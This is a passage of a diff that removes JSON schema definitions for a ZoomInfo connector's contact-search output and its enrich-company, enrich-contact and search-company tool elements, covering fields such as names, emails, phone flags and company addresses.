-              "name": "lastUpdatedDate",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Contact job title at current place of employment.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "jobTitle",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "INTEGER",
-              "defaultValue": null,
-              "description": "This score indicates the likelihood that a contact is reachable and still employed by the company listed. Minimum score is 75 and maximum is 99.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "maxValue": null,
-              "metadata": { },
-              "minValue": null,
-              "name": "contactAccuracyScore",
-              "options": null,
-              "optionsDataSource": null,
-              "placeholder": null,
-              "required": null,
-              "type": "INTEGER"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Comma-separated list of contact management levels.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "managementLevel",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Get last Education information.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "school",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Indicates whether ZoomInfo has an email address for the contact.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "hasEmail",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Indicates whether ZoomInfo has a supplemental email address for the contact.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "hasSupplementalEmail",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Indicates whether ZoomInfo has a direct phone number for the contact.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "hasDirectPhone",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Indicates whether ZoomInfo has a mobile phone number for the contact.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "hasMobilePhone",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Indicates whether ZoomInfo has company industry for the contact.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "hasCompanyIndustry",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Indicates whether ZoomInfo has a company phone number for the contact.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "hasCompanyPhone",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Indicates whether ZoomInfo has a street address for the contact.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "hasCompanyStreet",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Indicates whether ZoomInfo has a state for the contact.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "hasCompanyState",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Indicates whether ZoomInfo has a Zip Code or Postal Code for the contact.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "hasCompanyZipCode",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Indicates whether ZoomInfo has a country for the contact.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "hasCompanyCountry",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Indicates whether ZoomInfo has company revenue data for the contact.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "hasCompanyRevenue",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Indicates whether ZoomInfo has company headcount data for the contact",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "hasCompanyEmployeeCount",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Contact flagged with do not call for direct phone.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "directPhoneDoNotCall",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Contact flagged with do not call for mobile phone.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "mobilePhoneDoNotCall",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "additionalProperties": null,
-              "advancedOption": null,
-              "controlType": "OBJECT_BUILDER",
-              "defaultValue": null,
-              "description": "Management status of the record.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "multipleValues": null,
-              "name": "managementStatus",
-              "options": null,
-              "optionsDataSource": null,
-              "placeholder": null,
-              "properties": [ {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether record is under management within the contract period.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "underManagement",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Indicates when record was purchased if it is under management.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "purchaseDate",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              } ],
-              "required": null,
-              "type": "OBJECT"
-            }, {
-              "additionalProperties": null,
-              "advancedOption": null,
-              "controlType": "OBJECT_BUILDER",
-              "defaultValue": null,
-              "description": "Contact's company data.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "multipleValues": null,
-              "name": "company",
-              "options": null,
-              "optionsDataSource": null,
-              "placeholder": null,
-              "properties": [ {
-                "advancedOption": null,
-                "controlType": "INTEGER",
-                "defaultValue": null,
-                "description": "Unique ZoomInfo identifier for a company.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "maxValue": null,
-                "metadata": { },
-                "minValue": null,
-                "name": "id",
-                "options": null,
-                "optionsDataSource": null,
-                "placeholder": null,
-                "required": null,
-                "type": "INTEGER"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Company Name.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "name",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              } ],
-              "required": null,
-              "type": "OBJECT"
-            } ],
-            "required": null,
-            "type": "OBJECT"
-          } ],
-          "required": null,
-          "type": "OBJECT"
-        } ],
-        "label": null,
-        "maxItems": null,
-        "metadata": { },
-        "minItems": null,
-        "multipleValues": null,
-        "name": null,
-        "options": null,
-        "optionsDataSource": null,
-        "placeholder": null,
-        "required": null,
-        "type": "ARRAY"
-      },
-      "sampleOutput": null
-    },
-    "perform": { },
-    "processErrorResponse": null,
-    "properties": [ {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Work email address for the contact in example@example.com format.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Email",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "emailAddress",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Contact full name.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Full Name",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "fullName",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Contact first name.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "First Name",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "firstName",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Contact last name.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Last Name",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "lastName",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Contact title at current place of employment.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Job Title",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "jobTitle",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Contact department at current place of employment.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Department",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "department",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Company name.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company Name",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyName",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    } ],
-    "resumePerform": null,
-    "suspendPerform": null,
-    "title": "Search Contact",
-    "workflowNodeDescription": null
-  } ],
-  "clusterElements": [ {
-    "name": "enrichCompany",
-    "description": "Enrich company details.",
-    "element": { },
-    "help": null,
-    "outputDefinition": {
-      "output": null,
-      "outputResponse": null,
-      "outputSchema": null,
-      "sampleOutput": null
-    },
-    "processErrorResponse": null,
-    "properties": [ {
-      "advancedOption": null,
-      "controlType": "INTEGER",
-      "defaultValue": null,
-      "description": "Unique ZoomInfo identifier for a company.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company ID",
-      "maxValue": null,
-      "metadata": { },
-      "minValue": null,
-      "name": "companyId",
-      "options": null,
-      "optionsDataSource": null,
-      "placeholder": null,
-      "required": true,
-      "type": "INTEGER"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Company name.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company Name",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyName",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Company website URL in http://www.example.com format.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company Website",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyWebsite",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Phone number of the company headquarters.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company Phone",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyPhone",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Street address for the company's primary address.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company Street",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyStreet",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "City for the company's primary address.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company City",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyCity",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "State for the company's primary address.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company State",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyState",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Zip code or postal code for the company's primary address.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company Zip Code",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyZipcode",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Country for the company's primary address.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company Country",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyCountry",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "MULTI_SELECT",
-      "defaultValue": null,
-      "description": "Fields you want to get from employee.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "items": [ {
-        "advancedOption": null,
-        "controlType": "TEXT",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "languageId": null,
-        "maxLength": null,
-        "metadata": { },
-        "minLength": null,
-        "name": null,
-        "options": null,
-        "optionsDataSource": null,
-        "optionsLoadedDynamically": null,
-        "placeholder": null,
-        "regex": null,
-        "required": null,
-        "type": "STRING"
-      } ],
-      "label": "Output Fields",
-      "maxItems": null,
-      "metadata": { },
-      "minItems": null,
-      "multipleValues": null,
-      "name": "outputFields",
-      "options": null,
-      "optionsDataSource": {
-        "options": { },
-        "optionsLookupDependsOn": null
-      },
-      "placeholder": null,
-      "required": false,
-      "type": "ARRAY"
-    } ],
-    "title": "Enrich Company",
-    "type": {
-      "name": "TOOLS",
-      "key": "tools",
-      "label": "Tools",
-      "multipleElements": true,
-      "required": false
-    },
-    "workflowNodeDescription": null
-  }, {
-    "name": "enrichContact",
-    "description": "Enrich contact details.",
-    "element": { },
-    "help": null,
-    "outputDefinition": {
-      "output": null,
-      "outputResponse": null,
-      "outputSchema": null,
-      "sampleOutput": null
-    },
-    "processErrorResponse": null,
-    "properties": [ {
-      "advancedOption": null,
-      "controlType": "INTEGER",
-      "defaultValue": null,
-      "description": "Unique ZoomInfo identifier for the contact.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Person ID",
-      "maxValue": null,
-      "metadata": { },
-      "minValue": null,
-      "name": "personId",
-      "options": null,
-      "optionsDataSource": null,
-      "placeholder": null,
-      "required": true,
-      "type": "INTEGER"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Contact full name.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Full Name",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "fullName",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Contact first name.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "First Name",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "firstName",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Contact last name.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Last Name",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "lastName",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Business or Personal email address for the contact in example@example.com format.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Email",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "emailAddress",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Contact direct or mobile phone number.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Phone",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "phone",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Contact title at current place of employment.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Job Title",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "jobTitle",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Social media URLs for the contact (e.g., Facebook, Twitter, LinkedIn).",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "External URL",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "externalURL",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "INTEGER",
-      "defaultValue": null,
-      "description": "Unique ZoomInfo identifier for the company.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company ID",
-      "maxValue": null,
-      "metadata": { },
-      "minValue": null,
-      "name": "companyId",
-      "options": null,
-      "optionsDataSource": null,
-      "placeholder": null,
-      "required": false,
-      "type": "INTEGER"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Name of the company for for which the contact works, or has worked.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company Name",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyName",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "MULTI_SELECT",
-      "defaultValue": null,
-      "description": "Fields you want to get from employee. See documentation for available fields.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "items": [ {
-        "advancedOption": null,
-        "controlType": "TEXT",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": null,
-        "languageId": null,
-        "maxLength": null,
-        "metadata": { },
-        "minLength": null,
-        "name": null,
-        "options": null,
-        "optionsDataSource": null,
-        "optionsLoadedDynamically": null,
-        "placeholder": null,
-        "regex": null,
-        "required": null,
-        "type": "STRING"
-      } ],
-      "label": "Output Fields",
-      "maxItems": null,
-      "metadata": { },
-      "minItems": null,
-      "multipleValues": null,
-      "name": "outputFields",
-      "options": null,
-      "optionsDataSource": {
-        "options": { },
-        "optionsLookupDependsOn": null
-      },
-      "placeholder": null,
-      "required": false,
-      "type": "ARRAY"
-    } ],
-    "title": "Enrich Contact",
-    "type": {
-      "name": "TOOLS",
-      "key": "tools",
-      "label": "Tools",
-      "multipleElements": true,
-      "required": false
-    },
-    "workflowNodeDescription": null
-  }, {
-    "name": "searchCompany",
-    "description": "Search company by specific criteria.",
-    "element": { },
-    "help": null,
-    "outputDefinition": {
-      "output": null,
-      "outputResponse": {
-        "outputSchema": {
-          "advancedOption": null,
-          "controlType": "ARRAY_BUILDER",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "items": [ {
-            "additionalProperties": null,
-            "advancedOption": null,
-            "controlType": "OBJECT_BUILDER",
-            "defaultValue": null,
-            "description": null,
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "metadata": { },
-            "multipleValues": null,
-            "name": null,
-            "options": null,
-            "optionsDataSource": null,
-            "placeholder": null,
-            "properties": [ {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "The unique identifier for the resource.",
-              "displayCondition": null,
-              "exampleValue": null,
